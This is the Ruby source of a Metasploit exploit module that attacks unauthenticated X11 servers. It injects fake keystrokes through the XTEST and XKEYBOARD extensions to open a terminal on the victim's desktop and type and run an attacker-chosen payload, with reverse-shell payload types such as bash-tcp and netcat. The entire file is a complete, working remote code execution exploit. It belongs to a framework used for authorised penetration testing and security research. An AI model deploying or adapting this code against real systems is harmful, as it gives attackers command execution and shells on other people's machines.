Path: blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
24423 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::Tcp89KB_KEYS = {10'1' => "\x0a",11'2' => "\x0b",12'3' => "\x0c",13'4' => "\x0d",14'5' => "\x0e",15'6' => "\x0f",16'7' => "\x10",17'&' => "\x10",18'8' => "\x11",19'9' => "\x12",20'(' => "\x12",21'0' => "\x13",22')' => "\x13",23'-' => "\x14",24'=' => "\x15",25'q' => "\x18",26'w' => "\x19",27'e' => "\x1a",28'r' => "\x1b",29't' => "\x1c",30'y' => "\x1d",31'u' => "\x1e",32'i' => "\x1f",33'o' => "\x20",34'p' => "\x21",35'[' => "\x22",36'{' => "\x22",37']' => "\x23",38'}' => "\x23",39'a' => "\x26",40's' => "\x27",41'd' => "\x28",42'f' => "\x29",43'g' => "\x2a",44'h' => "\x2b",45'j' => "\x2c",46'k' => "\x2d",47'l' => "\x2e",48';' => "\x2f",49':' => "\x2f",50"'" => "\x30",51'"' => "\x30",52'`' => "\x31",53'~' => "\x31",54'lshift' => "\x32",55'\\' => "\x33",56'|' => "\x33",57'z' => "\x34",58'x' => "\x35",59'c' => "\x36",60'v' => "\x37",61'b' => "\x38",62'n' => "\x39",63'm' => "\x3a",64',' => "\x3b",65'<' => "\x3b",66'.' => "\x3c",67'>' => "\x3c",68'/' => "\x3d",69'*' => "\x3f",70'alt' => "\x40",71' ' => "\x41",72'f2' => "\x44"73}7475def initialize(info = {})76super(77update_info(78info,79'Name' => 'X11 Keyboard Command Injection',80'Description' => %q{81This module exploits open X11 servers by connecting and registering a82virtual keyboard. The virtual keyboard is used to open an xterm or gnome83terminal and type and execute the specified payload.84},85'Author' => [86'xistence <xistence[at]0x90.nl>'87],88'Privileged' => false,89'License' => MSF_LICENSE,90'Payload' => {91'DisableNops' => true,92'Compat' => {93'PayloadType' => 'cmd cmd_bash',94'RequiredCmd' => 'gawk bash-tcp python netcat'95}96},97'Platform' => ['unix'],98'Arch' => ARCH_CMD,99'Targets' => [100['xterm (Generic)', {}],101['gnome-terminal (Ubuntu)', {}],102],103'DisclosureDate' => '2015-07-10',104'DefaultTarget' => 0,105'References' => [106[ 'CVE', '1999-0526' ]107],108'Notes' => {109'Stability' => [CRASH_SAFE],110'SideEffects' => [SCREEN_EFFECTS],111'Reliability' => [REPEATABLE_SESSION]112}113)114)115116register_options([117Opt::RPORT(6000),118OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])119])120end121122def xkeyboard_key123req = ''124req << @xkeyboard_opcode125req << "\x05" # Extension minor: 5 (LatchLockState)126req << "\x04\x00" # Request length: 4127req << "\x00\x01" # DeviceSpec: 0x0100 (256)128req << "\x00" # affectModLocks: 0129req << "\x00" # modLocks: 0130req << "\x01" # lockGroup: True131req << "\x00" # groupLock: 0132req << "\x00" # affectModLatches: 0133req << "\x00" # Unused134req << "\x00" # latchGroup: False135req << "\x00\x00" # groupLatch: 0136req << "\x00" # Undecoded137return req138end139140def press_key(key)141req = xkeyboard_key142143req << @xtest_opcode144req << "\x02" # Extension minor: 2 (FakeInput)145req << "\x09\x00" # Request length: 9146req << "\x02" # Press key (Type: 2)147req << key # What key to press148req << "\x04\x00" # Unused?149req << "\x00\x00\x00\x00" # Time150req << "\x00\x00\x00\x00" # Root151req << "\x07\x00\x07\x00" # Unused?152req << "\x88\x04\x02\x00" # Unused?153# req << "\x00\x01" # rootX: 256154# req << "\xf5\x05" # rootY: 1525155req << "\x00\x00" # rootX: 0156req << "\x00\x00" # rootY: 0157req << "\x00\x00\x00\x00" # Unused?158req << "\x00\x00\x00" # Unused?159req << "\x00" # deviceid: 0160161req << xkeyboard_key162163req << "\x2b" # Opcode 43: GetInputFocus164req << "\x00" # Unused165req << "\x01\x00" # Request length: 1166167sock.put(req)168169res = sock.get_once170171# Response should give 1 on first byte (Success)172unless res && res[0, 1] == "\x01"173fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")174end175end176177def release_key(key)178req = xkeyboard_key179180req << @xtest_opcode181req << "\x02" # Extension minor: 2 (FakeInput)182req << "\x09\x00" # Request length: 9183req << "\x03" # Release key (Type: 3)184req << key # What key to release185req << "\x04\x00" # Unused?186req << "\x00\x00\x00\x00" # Time187req << "\x00\x00\x00\x00" # Root188req << "\x07\x00\x07\x00" # Unused?189req << "\x88\x04\x02\x00" # Unused?190# req << "\x00\x01" # rootX: 256191# req << "\xf5\x05" # rootY: 1525192req << "\x00\x00" # rootX: 0193req << "\x00\x00" # rootY: 0194req << "\x00\x00\x00\x00" # Unused?195req << "\x00\x00\x00" # Unused?196req << "\x00" # deviceid: 0197198req << xkeyboard_key199200req << "\x2b" # Opcode 43: GetInputFocus201req << "\x00" # Unused202req << "\x01\x00" # Request length: 1203204sock.put(req)205206res = sock.get_once207208# Response should give 1 on first byte (Success)209unless res && res[0, 1] == "\x01"210fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")211end212end213214def type_command(command)215# Specify the special keys which need to have shift pressed first to type216specialkeys = '<>{}|"&()'.chars217values = command.chars218values.each do |value|219key = KB_KEYS[value]220# Special keys need a shift pressed to be typed221if Regexp.union(specialkeys) =~ value222press_key(KB_KEYS['lshift']) # [lshift]223press_key(key)224release_key(KB_KEYS['lshift'])225release_key(key)226# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase227elsif value =~ /[A-Z]/228press_key(KB_KEYS['lshift']) # [lshift]229press_key(KB_KEYS[value.downcase])230release_key(KB_KEYS['lshift'])231release_key(KB_KEYS[value.downcase])232# All normal keys which are not special keys or uppercase characters233else234press_key(key)235release_key(key)236end237end238# Send an enter239press_key("\x24") # [enter]240release_key("\x24") # [enter]241end242243def send_msg(sock, data)244sock.put(data)245data = ''246begin247read_data = sock.get_once(-1, 1)248until read_data.nil?249data << read_data250read_data = sock.get_once(-1, 1)251end252rescue EOFError => e253vprint_error(e.message)254end255data256end257258def exploit259connect260261print_status("#{rhost}:#{rport} - Register keyboard")262263req = "\x6c" # Byte order (Little-Endian)264req << "\x00" # Unused265req << "\x0b\x00" # Protocol major version: 11266req << "\x00\x00" # Protocol minor version: 0267req << "\x00\x00" # Authorization protocol name length: 0268req << "\x00\x00" # Authorization protocol data length: 0269req << "\x00\x00" # Unused270271# Retrieve the whole X11 details response272res = send_msg(sock, req)273274# Response should give 0x01 in first byte (Success)275unless res && res[0, 1] == "\x01"276fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")277end278279# Keyboard registration280req = "\x62" # Opcode 98: QueryExtension281req << "\x00" # Unused282req << "\x05\x00" # Request length: 5283req << "\x09\x00" # Name length: 9284req << "\x60\x03" # Unused?285req << 'XKEYBOARD' # Name286req << "\x00\x00\x00" # Unused, padding?287288# Retrieve the whole X11 details response289res = send_msg(sock, req)290291# Response should give 0x01 in first byte (Success)292if res && res[0, 1] == "\x01"293@xkeyboard_opcode = res[9, 1] # Retrieve the XKEYBOARD opcode294else295# puts res.inspect296fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")297end298299req = ''300req << @xkeyboard_opcode301req << "\x00" # Extension minor: 0 (UseExtension)302req << "\x02\x00" # Request length: 2303req << "\x01\x00" # Wanted Major: 1304req << "\x00\x00" # Wanted Minor: 0305306# Retrieve the whole X11 details response307res = send_msg(sock, req)308309unless res && res[0, 1] == "\x01"310fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")311end312313req = "\x62" # Opcode 98: QueryExtension314req << "\x00" # Unused315req << "\x06\x00" # Request length: 6316req << "\x0f\x00" # Name length: 15317req << "\x00\x00" # Unused318req << 'XInputExtension' # Name319req << "\x00" # Unused, padding?320321# Retrieve the whole X11 details response322res = send_msg(sock, req)323324# Response should give 0x01 in first byte (Success)325unless res && res[0, 1] == "\x01"326fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")327end328329req = "\x62" # Opcode 98: QueryExtension330req << "\x00" # Unused331req << "\x04\x00" # Request length: 4332req << "\x05\x00" # Name length: 5333req << "\x00\x00" # Unused334req << 'XTEST' # Name335req << "\x00\x00\x00" # Unused, padding?336337# Retrieve the whole X11 details response338res = send_msg(sock, req)339340# Response should give 0x01 in first byte (Success)341if res && res[0, 1] == "\x01"342@xtest_opcode = res[9, 1] # Retrieve the XTEST opcode343else344fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")345end346347req = "\x62" # Opcode 98: QueryExtension348req << "\x00" # Unused349req << "\x08\x00" # Request length350req << "\x17\x00" # Name length351req << "\x00\x00" # Unused352req << 'Generic Event Extension' # Name353req << "\x00" # Unused, padding?354355# Retrieve the whole X11 details response356res = send_msg(sock, req)357358# Response should give 0x01 in first byte (Success)359if res && res[0, 1] == "\x01"360@genericevent_opcode = res[9, 1] # Retrieve the Generic Event Extension opcode361else362fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")363end364365req = ''366req << @genericevent_opcode367req << "\x00" # Extension minor: 0 (QueryVersion)368req << "\x02\x00" # Request length: 2369req << "\x01\x00" # Client major version: 1370req << "\x00\x00" # Client minor version: 0371372# Retrieve the whole X11 details response373res = send_msg(sock, req)374375# Response should give 0x01 in first byte (Success)376unless res && res[0, 1] == "\x01"377fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")378end379380req = ''381req << @xtest_opcode382req << "\x00" # Extension minor: 0 (GetVersion)383req << "\x02\x00" # Request length: 2384req << "\x02\x00" # Major version: 2385req << "\x02\x00" # Minor version: 2386387# Retrieve the whole X11 details response388res = send_msg(sock, req)389390# Response should give 0x01 in first byte (Success)391unless res && res[0, 1] == "\x01"392fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")393end394395req = "\x65" # Opcode 101: GetKeyboardMapping396req << "\x00" # Unused397req << "\x02\x00" # Request length: 2398req << "\x08" # First keycode: 8399req << "\xf8" # Count: 248400req << "\x02\x00" # Unused?401402# Retrieve the whole X11 details response403res = send_msg(sock, req)404405# Response should give 0x01 in first byte (Success)406unless res && res[0, 1] == "\x01"407fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")408end409410req = ''411req << @xkeyboard_opcode412req << "\x08" # Extension minor: 8 (GetMap)413req << "\x07\x00" # Request length: 7414req << "\x00\x01" # Device spec: 0x0100 (256)415req << "\x07\x00" # Full: 7416req << "\x00\x00" # Partial: 0417req << "\x00" # firsType: 0418req << "\x00" # nTypes: 0419req << "\x00" # firstKeySym: 0420req << "\x00" # nKeySym: 0421req << "\x00" # firstKeyAction: 0422req << "\x00" # nKeysActions: 0423req << "\x00" # firstKeyBehavior: 0424req << "\x00" # nKeysBehavior: 0425req << "\x00\x00" # virtualMods: 0426req << "\x00" # firstKeyExplicit: 0427req << "\x00" # nKeyExplicit: 0428req << "\x00" # firstModMapKey: 0429req << "\x00" # nModMapKeys: 0430req << "\x00" # firstVModMapKey: 0431req << "\x00" # nVModMapKeys: 0432req << "\x00\x00" # Unused, padding?433434# Retrieve the whole X11 details response435res = send_msg(sock, req)436437# Response should give 0x01 in first byte (Success)438unless res && res[0, 1] == "\x01"439fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")440end441442# Press ALT+F2 to start up "Run application"443print_status("#{rhost}:#{rport} - Opening \"Run Application\"")444press_key(KB_KEYS['alt'])445press_key(KB_KEYS['f2'])446release_key(KB_KEYS['alt'])447release_key(KB_KEYS['f2'])448449# Wait X seconds to open the dialog450print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")451Rex.sleep(datastore['TIME_WAIT'])452453if datastore['TARGET'] == 0454# Start a xterm terminal455print_status("#{rhost}:#{rport} - Opening xterm")456type_command('xterm')457else458# Start a Gnome terminal459print_status("#{rhost}:#{rport} - Opening gnome-terminal")460type_command('gnome-terminal')461end462463print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")464# Wait X seconds to open the terminal465Rex.sleep(datastore['TIME_WAIT'])466467# "Type" our payload and execute it468print_status("#{rhost}:#{rport} - Typing and executing payload")469command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"470471type_command(command)472473handler474rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e475print_error("#{rhost}:#{rport} - #{e.message}")476ensure477disconnect478end479end480481482